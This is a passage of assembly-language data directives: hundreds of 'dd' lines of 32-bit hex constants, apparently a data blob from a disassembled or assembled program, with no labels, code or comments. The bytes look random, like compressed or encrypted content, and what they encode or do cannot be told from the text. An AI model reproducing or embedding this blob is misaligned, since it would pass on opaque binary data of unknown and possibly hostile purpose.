		dd 1D11C12Eh, 0FF928C3Fh, 0C9AB978Eh, 0BF33FAAAh, 2A528061h
		dd 0B41507A8h, 3455AD53h, 2AEBBE53h, 968B6ACh, 0D28B1146h
		dd 6BDD782Dh, 0DBF0D535h, 2936FD4Eh, 0FBD0DA45h, 0BC736F1Fh
		dd 0B7F8856Fh, 0D9E5C1B5h, 0B1D0B541h, 8C889D6Bh, 1599F687h
		dd 0FEC0B1CBh, 0DF6EDBF1h, 0B263F5EDh, 56012AD0h, 0B1BB179Ch
		dd 0DCA7AF74h, 0F24EEBF2h, 0F7B764D9h, 0D4F10E71h, 0FD431F3Bh
		dd 107F27DEh, 176A3B55h, 0FBCCC01h, 17CBD053h, 0C3F65825h
		dd 0CC0BF70Fh, 0DCE5774Ah, 0DF4C2DECh, 1C7D0506h, 0C7D19D34h
		dd 0D665E2A5h, 0E14A5081h, 0CE63815Ch, 0AAD62FA3h, 0CE0FB53Eh
		dd 0DDB87A9Fh, 47D53579h, 4C5582Bh, 7CB777B9h, 7F9C69E3h
		dd 406FA099h, 0BB05D2D1h, 86DA29ADh, 38E31576h,	0E28BAA0Eh
		dd 0A9BC22E4h, 0AD0A92AFh, 824A1B3Ch, 151808A7h, 0ED16A322h
		dd 0B0EBC2F0h, 737BAA8Fh, 117FA60Ah, 35E7BAD9h,	72C2BE5Ah
		dd 2C33CCBBh, 0A37824Bh, 5E7DDB09h, 0CC243BC9h,	0BCE5EE01h
		dd 3F3F9DA5h, 993F6CB0h, 0D5D805CFh, 0CE0A95F0h, 0FA467E29h
		dd 6D109789h, 2A9EAB05h, 70A68EFEh, 0F215E046h,	0F70EFD1Dh
		dd 0C4BEA9ACh, 0CFC2CB51h, 5F5DD56Bh, 7E51229h,	0D7F3A9BEh
		dd 446D63EDh, 0CAF565FDh, 0CA739CF9h, 0A7BDAC41h, 377A5749h
		dd 759A1C83h, 0F2AA151Dh, 0A615B1D3h, 222B368Bh, 0CEF64061h
		dd 0D23CDCA1h, 94A7E819h, 1068D61Bh, 0EB275206h, 0AB3AC550h
		dd 0CA91B92Eh, 0F1C4B5B0h, 0ED15215Ch, 9F548D5h, 393C6CA4h
		dd 45470AC2h, 8789E04Eh, 5609FB3Ah, 2B9B42BAh, 337FFCD9h
		dd 8BDD7C05h, 0E7F7D988h, 61AB844Ah, 773957EAh,	0BC1AB2FDh
		dd 152A6730h, 0A8348263h, 0AC8123E0h, 0E65BDF2Dh, 0A036C93Ah
		dd 17691B96h, 4AEA7756h, 441BA648h, 8E96D75Bh, 99710DBDh
		dd 0A95DFED0h, 95726E26h, 86D82125h, 3727336Dh,	0B2F15539h
		dd 469A4ED5h, 6EF03768h, 0DEDEC7F8h, 38B95795h,	0A53B49CDh
		dd 87D1931h, 0BE0E8F9Bh, 0F7786BE6h, 531CD8A3h,	0E1C67F29h
		dd 0BD9D7F6Eh, 51E05CCEh, 1F7A1B51h, 87E3F297h,	6F05890Eh
		dd 0BD93656Dh, 0CBACF1F5h, 0FE701517h, 77EA578Fh, 0EEC2D4AEh
		dd 0E8259EA9h, 4979256Ah, 0E5D6F07Dh, 0D139B533h, 27F664FAh
		dd 0C3B731D8h, 9480DCF9h, 732D1912h, 1E54CE16h,	0B5174B09h
		dd 0EEBB486Fh, 62D23B09h, 0B30A4C89h, 78585A21h, 8FD174D9h
		dd 2631A973h, 2FA9DE01h, 725A5A15h, 6D063EDFh, 36F62C51h
		dd 0EF3079BEh, 16907E18h, 8B440AF7h, 55B22631h,	0F449C0B8h
		dd 39021231h, 16872D38h, 0E0968E09h, 1AAF98F1h,	0F44344D8h
		dd 9B758A58h, 308DA8AFh, 7DAD5F76h, 0AA7CF4F9h,	0C25A14D1h
		dd 0EA26CD2Ah, 0B3533EDCh, 56906DBDh, 0F93929D0h, 6A453B12h
		dd 0B8894450h, 2E1B4ED1h, 0BB81DE35h, 76B75776h, 4E5DE1CCh
		dd 1AB8F69Fh, 0DE870F57h, 139DA80Dh, 0FF54F423h, 6E3DA419h
		dd 0EA59EB02h, 7E04B1CDh, 0F4FA1C24h, 3520151Dh, 28C17B72h
		dd 0AF962462h, 44B87F22h, 0EE1D81D8h, 53111492h, 2328D9CEh
		dd 2C4AF1E9h, 35ACE9DBh, 0A88F9C3Dh, 6550235Fh,	77493795h
		dd 8DCF5D27h, 0FC514B3Ah, 0F5F064E4h, 0F7E7908Dh, 5C743C5Bh
		dd 865EF9B0h, 55EE53D9h, 9B2D262Bh, 3F851F89h, 96A98810h
		dd 90A0A239h, 0F4B2E5DAh, 372DCED4h, 1FBF8D41h,	98EBF6D5h
		dd 0C2CD4F77h, 0E2F072ABh, 82AB8A87h, 8E4C0E08h, 0B32F41B7h
		dd 6944FB90h, 29164578h, 0D1663294h, 17015BA7h,	2475AE12h
		dd 0EEAD5ADFh, 783F08DAh, 5F91C09Ch, 60B0AE68h,	19C9AD82h
		dd 221AC5FDh, 0E0A2CC37h, 0AE7D32FDh, 0E1DA59F0h, 0AE5063BDh
		dd 0D20DAE7Ch, 0CFA3B78Dh, 17037554h, 712E8276h, 0CEF2E444h
		dd 3CB7FC69h, 0EF03AF2Bh, 2D68D8FAh, 0CECCA99Bh, 0C8259E52h
		dd 552F9C52h, 7CE5025Fh, 0FC9EE9F7h, 31649C52h,	6ECB964Fh
		dd 71260309h, 253A156Fh, 544E1561h, 0DA2FEAAAh,	4597B89h
		dd 19AF647Fh, 0AC19ACB0h, 7A1D24B1h, 0A85BFDAAh, 7EFC3416h
		dd 0AF0B3B65h, 0C5FC848Dh, 0A39CF5BFh, 0DF4F133h, 0E0FDB26Bh
		dd 7E0FD758h, 0BC9C5736h, 5D728AF6h, 2C4E1C30h,	0D3FFD7FBh
		dd 0BBE291Ah, 0E2EB08FCh, 0E79B5C4Eh, 0A3E017A3h, 0E45355C8h
		dd 772774D8h, 40D3D753h, 0A8FAF589h, 52868773h,	0B2600768h
		dd 8D65FFD1h, 0D5190120h, 82AB0711h, 20D554Ah, 0BB946F2Bh
		dd 0B943BAFEh, 988874F7h, 33A0A998h, 81DBF55Ah,	0A44F9CC8h
		dd 0D609AB61h, 4DD5A8D7h, 976268CAh, 92D00E41h,	0B958CD6Ch
		dd 25998BF9h, 0EA57CC9Eh, 0A90C54B2h, 24C967FAh, 74D8C616h
		dd 0F6881B7Ch, 0F95712B3h, 654181A2h, 0EAC51D43h, 0A2DF2432h
		dd 5C5044A8h, 53364BF8h, 59BF3CCh, 37DB2A4Ch, 9429D8CAh
		dd 7719498Bh, 0D53EBBDDh, 89E1C247h, 9629C501h,	0BA3B3B4Fh
		dd 2847D2AEh, 2FC27751h, 0D73C7C1Ah, 687933A5h,	7C41ED5Bh
		dd 7130DA06h, 0D1BDECD9h, 1772C17Dh, 0B9BF9A25h, 8D43FFA0h
		dd 7A0E212Ah, 0A16C5AE6h, 0E3CE7D7Fh, 0BD09B197h, 4741E650h
		dd 0AD7F7Eh, 0F55A1F58h, 0F603CE11h, 0C9C6D058h, 0BE83B6C7h
		dd 0FE72E5F7h, 0B897CBFEh, 0F9414E70h, 5F2D2C3Ch, 45E976FBh
		dd 12D95BEBh, 0ED91561Eh, 9010237Eh, 3080D444h,	0B0E57A78h
		dd 0FAD2CD12h, 89D71D4Fh, 0E107FCAEh, 66079BF2h, 0CB6D97DBh
		dd 4593E569h, 8A3AEDE2h, 763C35DDh, 62311D8Dh, 8AAABBCBh
		dd 81B4704Eh, 0C4BF4E69h, 8C21253Fh, 7AE2E002h,	0ADC192B9h
		dd 2FFFEB2h, 4AC0F359h,	193C08ADh, 0D19F4EBh, 0E55E8AC3h
		dd 0EB1F9688h, 99DF5683h, 3CA42E2Dh, 3129287Eh,	0FBF7C954h
		dd 354CE425h, 0DF213C11h, 6AED3290h, 9EDDF8C8h,	7BE0CE25h
		dd 73128135h, 27F8017Fh, 4C8FC869h, 26E65965h, 52479D79h
		dd 0AC573C84h, 0E13377E0h, 0A557B55Ah, 4FFA7202h, 5BEF1E1Ch
		dd 0E671D0A8h, 0B45EE5C1h, 79BB2F21h, 3C5A50C6h, 490DB532h
		dd 5795354Eh, 0C2EFD9D7h
		dd 8D02B324h, 0E0F8A90Eh, 6BBCD17Ah, 7D1868A1h,	8C62A23h
		dd 1338EB71h, 2F8D4B6Ch, 7B515766h, 0ACE36A9Bh,	0B68BAF8Ah
		dd 2E6D2807h, 33AA4BAAh, 0BBC8C681h, 8B685CB5h,	86FEF40Fh
		dd 55CAFAF9h, 0C5814778h, 361CF54Fh, 0E6611B86h, 0EA3FAA02h
		dd 85163BA5h, 2D3A025h,	722359EEh, 9CA2EA7Eh, 312541E7h
		dd 7C1E7FBEh, 97037471h, 0D2391CC5h, 6DA5E583h,	0D97FCAC7h
		dd 61DE24D2h, 5437D923h, 0C4C4436Fh, 8DE417FAh,	81BA21F8h
		dd 6BCA7958h, 25E791C0h, 0E454CC92h, 0EAA45DB3h, 81BC1490h
		dd 1B32271Fh, 751BE9B1h, 0EED1D1F9h, 0D109FF3Fh, 0C6219C55h
		dd 903FB1B2h, 25710BB7h, 4C4BE918h, 5CF0536Eh, 0BE03C17Bh
		dd 0F0990B3Eh, 1DD40EE0h, 17815B4Eh, 8697CF86h,	0F9F42F68h
		dd 0AF6BA997h, 535BF191h, 251534E7h, 0E31C38C5h, 254ACB2Bh
		dd 4605DD4Fh, 0AB5E9CEAh, 17779297h, 133F7B48h,	3EF6C006h
		dd 152EEF62h, 0EB8E256Ah, 0DA5E42B1h, 83C0DA2Ch, 0EF6E7D97h
		dd 0CA508E0Fh, 0C52D62CFh, 5D5133CFh, 0C0FA69Eh, 0D8F73F13h
		dd 228620BCh, 6A56C021h, 5CD4BC14h, 74EE7E88h, 15C7F3D9h
		dd 82EEDA27h, 2E368206h, 0A7136E37h, 0ACACAA46h, 0FBBE5467h
		dd 0C93414CAh, 524A5928h, 50FF5262h, 157DBF84h,	5D865ED6h
		dd 2B59119h, 4B48AC51h,	0BE83AE8Bh, 3FD5A272h, 51CC4345h
		dd 0F598B85Eh, 0BD7EA73Fh, 0CBFA2FC9h, 8CBD7A87h, 632170FCh
		dd 0FC60A9A4h, 279B99A1h, 0E9E06D2Bh, 8B42733h,	52DB7ED5h
		dd 78952569h, 0F26FC678h, 2F404546h, 0FC375C6Dh, 0D2221478h
		dd 9068CC92h, 90D9324Ch, 851C84AFh, 0E313CD4Fh,	143DBA18h
		dd 0EF1EE175h, 92EBC89Bh, 75E1F783h, 8A2B378Dh,	0D51AAB31h
		dd 6D2A7287h, 0D8A83596h, 5F2085D6h, 4DDF4765h,	0EB73F674h
		dd 75930550h, 2E75BD15h, 5B8304AEh, 8E3483F7h, 46ABA65h
		dd 44E898FDh, 58D724BEh, 0A9ADE25h, 0AD6DFB33h,	6303A29Ch
		dd 0E68BA380h, 0F5B45894h, 18EDE2CBh, 38844CAAh, 69037C43h
		dd 97FC6555h, 0B34EAAF2h, 0A948B323h, 0D4CDC37Ch, 0E00AD8C8h
		dd 10AB6A02h, 0A0A06CE1h, 995A9E17h, 0A548D165h, 1D794550h
		dd 41B11C48h, 3AC7E6DDh, 5F610472h, 3696B135h, 0B5BD392Ah
		dd 395A930Dh, 9F330E0Fh, 5635B8AAh, 6ADBF879h, 0B3FE52FFh
		dd 3DE9E5A3h, 1B6B554Dh, 0A0EBBC7Bh, 0ABE09E57h, 6D145AD8h
		dd 257CEA54h, 0E5565D44h, 0ECAC558Dh, 8DCD1F8Fh, 1E64F35Ch
		dd 0C09C2A7Fh, 0D997B0A1h, 4559399Bh, 0BE1691F0h, 0B07C7B93h
		dd 73D18A24h, 0B629E5B9h, 0EB3A1E0Fh, 0D31A0FC5h, 5D37EB8Eh
		dd 0C9EEACBDh, 18167EAAh, 9D5966DDh, 2423BB46h,	0BF7C64CCh
		dd 3BA088B2h, 19822768h, 2B5E209Bh, 0A3E2A449h,	4ADF2861h
		dd 0BB1598F3h, 81434F1Bh, 0B77E796Ah, 46F5F038h, 0A504AC5h
		dd 3E912D16h, 0DC85F1EFh, 0AB45B5E6h, 0DC4D1F0h, 0A033844Eh
		dd 7CBBB2AFh, 0C599DD17h, 4CEBEED5h, 25D51463h,	3FA4ED3Eh
		dd 0CB9BB1C2h, 6B7FE063h, 0D143BF7Bh, 1C6374A7h, 425F9DECh
		dd 4594A0BCh, 0D2A2EDB5h, 68486275h, 4CC9E31Ch,	7FD55A11h
		dd 45F03CC1h, 52735A8Fh, 0A467B8DBh, 0C5C29C1Eh, 892F0D9Bh
		dd 5C787396h, 78436FEDh, 0FB6831B0h, 784FB8B5h,	0A3CDA5CDh
		dd 0C0F9B43Ch, 0D2D6BD73h, 58D5ADB5h, 0E50312FEh, 4A1D4ADCh
		dd 0F3BB46FAh, 259A1D5Ah, 10741B85h, 0F7CD0B97h, 11774654h
		dd 0D9F0E2Ah, 1F7EE78Eh, 0AB23AEBAh, 3FAA846Fh,	9FD3665Ah
		dd 0DDD5B2F9h, 0EB2B51EBh, 73F89A1Ch, 9948E063h, 0A42FCC95h
		dd 6C76B31Ch, 61F89B87h, 0CBFCFEEFh, 1579CD7h, 0A5DBC8B9h
		dd 3CB03060h, 4689D764h, 0AC49633Bh, 858C04A3h,	97D6D6B6h
		dd 0AD137595h, 0C6959BDAh, 0CDDE1D6Fh, 2D9D5E5Fh, 989CA850h
		dd 40C1E2E6h, 175A371Eh, 5F7AF6FEh, 3895156Ch, 3815BCF8h
		dd 1D153C54h, 20EA4CE4h, 89F060B9h, 6B36CE47h, 0C37578EBh
		dd 283AA245h, 69704B63h, 0BDA17710h, 0F51FF0BAh, 194CBACAh
		dd 0DAD5EC7Bh, 0EE2022D7h, 1CD1B959h, 0F32AB74Ah, 0B14E6586h
		dd 120DE7BEh, 14F23436h, 6CBDB939h, 0C81BA2D4h,	0A1D58114h
		dd 124EA898h, 53B91133h, 297DD178h, 3C0D6B6Ch, 0D0FF1285h
		dd 0AE653912h, 0BF8974F5h, 5F33157Ah, 0DA0F48C3h, 285A0776h
		dd 0A0DF3AF4h, 236F3EF6h, 77968F6Ah, 85CCC819h,	3ECEF5AEh
		dd 17E7EF23h, 77BDA2FDh, 6E1BC511h, 18AB3723h, 95C39452h
		dd 0F7EB2B6Ah, 4C1EC978h, 0CEFA0157h, 942A2881h, 4D9BDCEAh
		dd 0DD777A56h, 3A15D06Dh, 7CBF69FBh, 45C7ADEEh,	70AEA2E9h
		dd 0B647B7DBh, 0FCE30F3h, 0D65508E3h, 40E5552Ah, 4113CD69h
		dd 6EE1A8F9h, 0EB742029h, 608552A4h, 46BC0CA6h,	3E6324B9h
		dd 9459DB97h, 298078D2h, 50DF2C4Eh, 6C368691h, 5454D0B9h
		dd 0BDAB5FB3h, 72A6100h, 9ECE439Bh, 7247168Bh, 6F8B2DEAh
		dd 79E33DB2h, 6C06B089h, 6ED7D0FCh, 0EB7ABEA4h,	0A32070CDh
		dd 6946F824h, 0F7566D3Bh, 594C8B6Fh, 98978846h,	1575936h
		dd 0CBF11FB3h, 7CDDCBEFh, 9A7EEB7h, 9F61294Fh, 0B5B6BCE8h
		dd 41545AC6h, 66BCFE1Dh, 740A9416h, 5EAD98C3h, 0A6B9E4D2h
		dd 8C882C52h, 57620585h, 88BF0696h, 9365CBE9h, 46207DDFh
		dd 315F34BBh, 8B03490Ch, 0E1518139h, 0E38BBF81h, 69D5B09Ch
		dd 9B2BA994h, 5F9F54C9h, 51F48166h, 9EA75213h, 0BD8D0FDAh
		dd 0D8409352h, 75A23C9Fh, 0B25255FBh, 0AB17397Bh, 0FF837EAh
		dd 8BFA4786h, 3C7AE065h, 0E6B574DDh, 0C229FE6Eh, 174BE2D6h
		dd 342809D7h, 7AF41AE9h, 0A9F36326h, 6C536A12h,	763A9204h
		dd 0D9E4E84Ch, 0B78EC6FBh, 0E730A8C1h, 0D4E62EAAh, 26519015h
		dd 0BEBB72DBh, 7AC23226h, 0B9BF3155h, 0DC250A4Fh, 0F2604F82h
		dd 257A9DD0h, 8C69CAE5h, 252EE9CFh, 5D0EFB6Ch, 0B1E77A55h
		dd 747AAD2Ch, 716D7CC4h, 9168DB94h, 2550BF92h, 9ADDEFF4h
		dd 609DEAD2h, 0FBF5AA64h, 96F572D0h, 1AE99D60h,	0B8F15FADh
		dd 7D6CF68Ah, 0F9837699h, 0B0A73F15h, 0F5AF2AA7h, 5CE939CCh
		dd 419AD030h, 0D3AC4A9Eh, 0DBB3A0BEh, 0DA3CC479h, 0A090F748h
		dd 86C48FA4h, 0FAEE4C0Ah, 0A5ECCF1h, 227964F6h,	52D9166Bh
		dd 4BE17094h, 8C42EFDCh, 1C7A92C2h, 5E8553A5h, 35510F7Ah
		dd 0C65291F3h, 29AF334h, 2CD26592h, 1DDD391Fh, 8ED40FA2h
		dd 0E8F5DD22h, 0AE5AAB79h, 99FCFB2Dh, 7CF9CC5Ah, 1D02E355h
		dd 0EF04094Ch, 0C3C31BFAh, 0ADF7C50Eh, 8BD9B465h, 0D9F75FCAh
		dd 0DBE50FABh, 6E3128CFh, 0FE81A8A9h, 9FDA5F0Eh, 0A00BC25Fh
		dd 0C38B4CE5h, 2A236AEFh, 36F29658h, 0D8551064h, 0C967FE11h
		dd 9389816Bh, 4106026Eh, 0FC4DD857h, 0AD72A117h, 0A43F6EFFh
		dd 0AAAB549Ah, 3BE405E4h, 34CA1B0Ah, 0A8DDD2CCh, 698CBC39h
		dd 32BA3D01h, 174AB74h,	35323FBFh, 2E28D21Ah, 794C7825h
		dd 63A4DD35h, 0D0312E4Ch, 0E1F5E728h, 771A0B87h, 7F421F76h
		dd 98F5BD32h, 0A5F968F8h, 6FDF517Fh, 1048305Bh,	4D325006h
		dd 4F711D39h, 5AA2C772h, 79FBF45Bh, 0CE15B7F7h,	0BFE4758Ch
		dd 341EEDC6h, 65779993h, 7DC22EECh, 0E4602466h,	25BD4A83h
		dd 614BABCDh, 63738AE2h, 0A16AFDFBh, 0B4AE168Ah, 0DB8266E8h
		dd 4A6347CDh, 9DB92A94h, 34AA3E69h, 0E7C29A36h,	0D447AA10h
		dd 6BB5FDADh, 24E15752h, 0BDB6930Ah, 0C0F147D5h, 2C24A12Ah
		dd 0AB46A19Bh, 0F13C05F5h, 0F37691C3h, 0C730A689h, 0A9C00850h
		dd 0B07BDAF9h, 0BFDBF238h
		dd 857F8C20h, 4F82E928h, 0A8CF589Fh, 3C6DFB3Eh,	39DA829Dh
		dd 572A560Dh, 99196A29h, 0AC712D33h, 0B2BB8D1h,	0A3BCB575h
		dd 0C265FDE1h, 299A35A4h, 5D46E81Bh, 0DD6FADCBh, 87E0760Fh
		dd 0C67EE358h, 62A42EE6h, 0D1BB537Bh, 0F3AAEFCh, 0B64237CCh
		dd 0EF070DDCh, 8BCA540Ah, 595E61Fh, 0CE44D583h,	84BAA3B1h
		dd 0A89E6884h, 0AA6D082Dh, 71136BB5h, 0BFAAE56Bh, 0D81E58ACh
		dd 0D7ABD55h, 0EC6E3DE3h, 5574A42Ah, 0F731B066h, 28A8A8DDh
		dd 536E449Fh, 8DC6DB6Dh, 0DD78D5AAh, 511FA1E2h,	41E0D42h
		dd 2A98C332h, 0FB1614B2h, 7B70FBEAh, 0D9FD77F9h, 63414D3Eh
		dd 173631F9h, 524ABE33h, 3B54CA88h, 8495BBCFh, 12275560h
		dd 0E572E256h, 2711E90Ah, 0B5D0C6C2h, 0E0CE6411h, 6B46717Ch
		dd 0DA946CBCh, 37CE1329h, 0E312EEA9h, 5E1DBE0h,	13E6B604h
		dd 7478FE8Dh, 0D3A5B308h, 89882D2Fh, 0F4DC2FE8h, 7E8D129Eh
		dd 7C92BA64h, 0AFCCFF45h, 0CFC55AC2h, 0D4DB8ADDh, 0F5A5A0A3h
		dd 0BF187CE8h, 2FB5C925h, 534B6C0Fh, 9CEC25EBh,	0EFE8F0EBh
		dd 0A8E11F5Dh, 0AAADB46Eh, 2A9D166Ah, 48A87290h, 7AADA337h
		dd 0ED146D5h, 273132DEh, 97F57F1Fh, 7DB109Ch, 52AAF434h
		dd 908BB8ACh, 0A29CCBF1h, 55B2F90Fh, 1C1AD9Ah, 0B8983B87h
		dd 749C52F3h, 0EB141B79h, 85B0F72Bh, 2B2F3463h,	80BAB91Ah
		dd 0F99BB16h, 41558AA5h, 4B7CB140h, 9AF6D96Eh, 65D055EFh
		dd 6E887215h, 88E898ECh, 73099678h, 9D2A7861h, 0E3BA1AE4h
		dd 6D4A8C49h, 0FEE343FEh, 0D8425B3Dh, 887785E1h, 4B4EA56h
		dd 0C641DFDh, 6EFCD2B2h, 0BC46E5E8h, 0D9FB9468h, 2BCB46C4h
		dd 1F69A6FDh, 46A39A9Dh, 1CED4AD3h, 24BD0D2Fh, 1B950D67h
		dd 5F8D6C1Ch, 0D8A24BFEh, 8DDF01AAh, 0F873AF71h, 0F9EB891Fh
		dd 711B2C7Ch, 1EFD7098h, 86AB4BF2h, 5A2BE757h, 0C126CD3Ah
		dd 0AAE50AADh, 6833BA46h, 0F7A2FF9Eh, 42E2160Dh, 0B1D52AB2h
		dd 0D4F8B99Fh, 0B10AB816h, 30875FD1h, 887F53EFh, 59605ED2h
		dd 7C109556h, 0F03EE8A2h, 7BDFC3C5h, 0C32A5F3Ch, 1F79C5Fh
		dd 533FF05Ah, 6099E14Dh, 0C350B23h, 687E1449h, 0C17D739Eh
		dd 0AB72264Dh, 0A2A82DECh, 0B62DD740h, 0DC65DA22h, 7AD36F1h
		dd 0FC739299h, 1CD56D8Bh, 8AB1FB4Dh, 34DD6DC2h,	0AAC3B278h
		dd 0A9CB4B8Ah, 0F911BD31h, 0D0C36CAh, 4AB52384h, 43AD626Dh
		dd 66DDA391h, 4E95B26Ah, 0D397D803h, 0D55A3D9Bh, 6849449Ah
		dd 0C371501Dh, 733820B1h, 76B16E6Dh, 0AAAAA724h, 0C27D9A9Eh
		dd 62963347h, 0BB9119BAh, 0F1A27258h, 304A8CACh, 0DBEBFE4Ah
		dd 0C7027A2Fh, 0D4745B27h, 0CF0DEBEFh, 0C0C24282h, 0F1589042h
		dd 0A139BF91h, 0EAB0D551h, 2BAEB079h, 3AB36F44h, 2280F5BBh
		dd 0C59D9AA6h, 0DAF8AAE0h, 0F62E45C8h, 2346CD18h, 0A8A10FDAh
		dd 0CC163ACBh, 0B6C2D79Fh, 0F8A80E3Fh, 9DA7DB1Fh, 0EF9F46A6h
		dd 269D475h, 83FB079Dh,	672B2905h, 877D72F3h, 0DE55C3FDh
		dd 3A6284A9h, 3A09D16Eh, 0A11D8EF7h, 831EE556h,	9BB43AA9h
		dd 86F43B81h, 0FC713F11h, 0CF99DBC9h, 7E12D7F7h, 33B8B3F8h
		dd 9E23AA0Ch, 0B5A28057h, 6431E44Eh, 9A85273Eh,	27E9A417h
		dd 0BF175CEFh, 2B7A6E82h, 8AD282A3h, 450A78Ah, 0AA3A4954h
		dd 94D32A66h, 21F8559Ah, 96F35A4Ch, 20D33B6Bh, 68574D33h
		dd 188A7892h, 1C0473C5h, 0E7C095B5h, 0BBD388EBh, 0E231D52Fh
		dd 0E1FE2A71h, 0E3CB58E4h, 0EB37D753h, 5C1D7F0Dh, 461E9808h
		dd 0DA6AE208h, 805D8599h, 6FEE69EAh, 0C1BDDEE8h, 87D67715h
		dd 5BA72A5Ah, 78631A91h, 3FF22D1Eh, 9BD1144Dh, 0FCAC05C4h
		dd 8CE681AAh, 514D7C6Fh, 95D9CBD4h, 0B49A6E26h,	27F24FAEh
		dd 1338247Dh, 2CE1CE23h, 3C52779Eh, 1553EA78h, 0BA0B8ED6h
		dd 0B4569045h, 378AC712h, 5D43A4E2h, 13BD9B1Ah,	0C15887ADh
		dd 92B946F2h, 0E2D87C10h, 0BD646DC6h, 65C4F64Dh, 0CBF8EF27h
		dd 6863EA45h, 4B77576h,	0EE5E3BC7h, 590542D1h, 155458DBh
		dd 2C7D712Fh, 978C338h,	0B6A9F7AEh, 0A1C7C4Fh, 0DDD52CDCh
		dd 0CE6EB3A2h, 861A917Eh, 4976EDC1h, 0FC6D30F6h, 0B26CAD30h
		dd 4D36E342h, 6094CA89h, 0A365DA6Fh, 0FC5E5A70h, 0D7731B0h
		dd 0A30287FAh, 0DDAA7B32h, 8034623Ch, 0D8834BE0h, 0F3B67290h
		dd 0E0AB55F4h, 0C5B0C401h, 626B5B1Dh, 9E7FC07Fh, 51340DD4h
		dd 406F81F5h, 2AB5F2F2h, 895050FBh, 0DB26DA8Eh,	62FE44ADh
		dd 1D39E614h, 0BCAFEC45h, 449FBDE7h, 984F8E12h,	0EC6F02A6h
		dd 891A5C6Fh, 9A46CBFCh, 0C8CDF0D4h, 0D0953478h, 9D32814Fh
		dd 97FE6DA5h, 0ABDEFCE8h, 4E671EADh, 7C5BD648h,	0F23AAE67h
		dd 6620D927h, 53BC0D34h, 9825769h, 0FF1ABA9Bh, 9EA8850Ch
		dd 6AE0545Fh, 6A3889B4h, 0CED8CA43h, 24C3E0ADh,	86BB6773h
		dd 9B7843C3h, 60FB3DC8h, 0B35C5C0Bh, 0C38D8F15h, 0BF6215E8h
		dd 7972522h, 787060BEh,	94FD969Bh, 2EAEA089h, 36464299h
		dd 0D4BCDBD6h, 95742905h, 8D2BA2B1h, 68E0811Ch,	8E4CCE69h
		dd 86FE5C1Bh, 29077E5Bh, 0ADA200Ah, 0FB585AB3h,	0FA77763h
		dd 0C259B8DCh, 0ECE35B29h, 0FF7CDF4Eh, 5C903F7h, 0F0BDEF7Ch
		dd 0FE02D2E0h, 0D2E119D9h, 886E5A70h, 22A77C95h, 20C107CFh
		dd 62F775ECh, 0BA924CC8h, 4AE48105h, 0CD13ECA8h, 0B467BF03h
		dd 0F97BC551h, 0C3A7AE30h, 0A5FFC5F1h, 56B57667h, 7F82631h
		dd 6D1402FBh, 4FC19666h, 0F0B06D36h, 9DCE5AE8h,	0F86624FAh
		dd 89EC7997h, 1ACD3E5Ah, 0F336D95Ch, 8D167F39h,	60062A56h
		dd 959F1FC9h, 6DA9136Ch, 0F647AB49h, 3D157E57h,	7E1E269Eh
		dd 511A5C88h, 3C18E104h, 255B195Bh, 1C4BEED4h, 8A768224h
		dd 1A0A9FE1h, 0E46FFDD7h, 0AC1931D3h, 0C7391994h, 4AFCEC5Ch
		dd 4E4281E8h, 712A5987h, 796A99EBh, 0CF8E3611h,	0FE7ABACDh
		dd 0C3E18744h, 701F7B5h, 0D5751F9Eh, 62D0A7AFh,	68F6BE04h
		dd 14E2D017h, 32DE8B25h, 834043F0h, 98D7B3F7h, 0CABB326h
		dd 0D4CF3ABEh, 5F83AF5Dh, 0CB43AD50h, 14C1A454h, 0FF047249h
		dd 46388C21h, 71EE54AFh, 15643ED8h, 83B3DC2Fh, 789C6C28h
		dd 0ADA28C42h, 4F56DD52h, 0DD82344Dh, 0E7A5E22Bh, 0AA193BE6h
		dd 0C4B2A3C4h, 0AA254D02h, 6CBF38DCh, 5E3D3AC2h, 0A111EA18h
		dd 1463D156h, 46ADD594h, 532074F4h, 7FAF5EFh, 1F66649Eh
		dd 0AFDDCB39h, 0EDC3D2C1h, 6A40A550h, 1BB85F91h, 53D4ACFDh
		dd 5FAAE234h, 0CCE2A91Dh, 0A95E921Fh, 48E0349Fh, 0CBC6C3D7h
		dd 208B7D73h, 6A2CD5C4h, 0E2573464h, 0EB1F7C0Dh, 4E77CCBh
		dd 655FC8AAh, 7D298BFCh, 0F2FCA284h, 0D2B4F1C8h, 0B014AAEDh
		dd 49587581h, 26186A75h, 0FCC50C4Ah, 2B8217EEh,	0E1C81484h
		dd 0B8D739E8h, 0A391FA38h, 5F7307C6h, 471552EEh, 0FAE15329h
		dd 0BEDCCA5Eh, 5B221957h, 4867B292h, 20FE9443h,	9F9195A1h
		dd 0F1D16354h, 732A62D2h, 84965758h, 0CD01DF25h, 1BCB7C20h
		dd 7BF0462Ah, 0EB270CB4h, 0C47F3559h, 5C68ADE0h, 4A97A405h
		dd 8AA5A8DBh, 1B426A61h, 0B81CB172h, 0D70FE38Ch, 693C5D6Ch
		dd 108717FCh, 0BB501281h, 2E31E337h, 0C723FFD5h, 7B5B374Bh
		dd 0E742E0E0h, 7A869817h, 0E7E2A0D3h, 30CE72BEh, 4B66D1BCh
		dd 0B4345AB2h, 0AC8A0D57h, 1DAED47Fh, 0C5FE8079h, 44C958B1h
		dd 0CF0EF469h, 0E218569Ch, 3686799Bh, 4BFCCA81h, 0FC5FC7BCh
		dd 49DB87DDh, 0E2A136BAh, 6BBA8348h, 0D68842DEh, 0B7E4F4C8h
		dd 0B71C4C52h, 216278FCh
		dd 0FC37677Eh, 9A1AFF9h, 0CB3BAB41h, 0D784B986h, 0C6BD557Dh
		dd 0D4A9C51Dh, 0ACAF7197h, 54416269h, 19D98FDh,	66E1FF1Eh
		dd 322FF2FFh, 0E449CC5Ah, 1760128Bh, 0F5CA6103h, 730BD1AEh
		dd 0D64A9DA3h, 3E1FC47Dh, 89BF4A57h, 389E0C27h,	0EE202AB4h
		dd 6502BB03h, 4B445393h, 0C3FE7B11h, 661A9727h,	8F173F74h
		dd 7352B3C6h, 0BA5DF553h, 0CEF085AFh, 0BF553CC4h, 539CFF2Fh
		dd 0CBFBA573h, 8F2493F6h, 1C1DB8DDh, 7AC9F12Ah,	0AEAFD806h
		dd 9F447E59h, 0F5934CD7h, 8E46CF2Ch, 55566343h,	0CF1D8BEAh
		dd 0EFE9E2E7h, 1F09AD17h, 0B13EFDABh, 3312F2C3h, 0BE29651Ch
		dd 3EC956A9h, 3C1AC58Ah, 0B36EC05h, 0D08633EDh,	242C53E5h
		dd 96532E46h, 0B6DEF4F1h, 5F658FCCh, 88A52E29h,	0B0D6D8B9h
		dd 0E5AF3BA0h, 0E0668EACh, 7887D43Fh, 3E1378ECh, 77163E47h
